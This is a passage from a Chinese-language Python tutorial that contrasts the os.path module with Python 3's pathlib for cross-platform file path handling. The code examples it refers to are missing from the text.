　　由于所有这些原因以及其他原因，使用硬编码的路径字符串编写代码，是一种会让其他程序员十分「嫌弃」的做法。一般来说，你应该尽量避免这么做。

　　以前的解决方案：Python 的「os.path」模块

　　Python 的「os.path」模块有很多工具来处理这类针对特定操作系统的文件系统问题。

　　这段代码可以同时在「Windows」或「Mac」系统上完美运行。问题是它使用起来很麻烦。写出「os.path.join()」并将路径的每个部分作为独立的字符串传给该函数非常冗长，而且很不直观。

　　由于「os.path」模块中的大多数函数使用起来很烦人，开发者们通常会「忘记」使用它们，即使他们知道这样做更好。这导致出现了很多跨平台的 Bug，也引起了用户的愤怒。

　　更好的解决方案：Python 3 的「pathlib」！

　　为了处理文件和路径，Python 3.4 引入了一个名为「pathlib」的新标准库，而且非常好用！

　　要使用该库，你只需使用正斜杠将一个路径或文件名传给一个新的「Path()」对象，然后它将处理余下的操作：

　　在这里，有两点需要注意：

　　如果「pathlib」所做的就这么多，它也已经是对于 Python 的一个很好的补充了。但是，它还能做更多！

　　例如，我们可以在无需打开和关闭文件的情况下，读取文本文件的内容：

　　专业提示：之前的示例是有 Bug 的，因为打开的文件从来没有被关闭过。而这里的这种语法则彻底避免了这个 Bug。

　　事实上，「pathlib」使大多数标准的文件操作变得快速而简单：

　　你甚至可以使用「pathlib」显式地将一个「Unix」路径转化为一个「Windows」格式的路径：

　　如果你真的想安全地在你的代码中使用反斜杠，你可以按照「Windows」格式声明你的路径，而「pathlib」可以对其进行转化，使其能在当前的操作系统中工作：

　　如果你想把代码写得更「高级」一些，你甚至可以使用「pathlib」来做诸如解析相对路径、解析 *** 共享路径并生成「 urls」之类的事。在下面的例子中，我们将仅仅使用两行代码，在你的 web 浏览器中打开一个本地文件夹：

　　这只是「pathlib」的好处之一。它很好地替代了过去分散在不同 Python 模块中与文件相关的许多不同功能。

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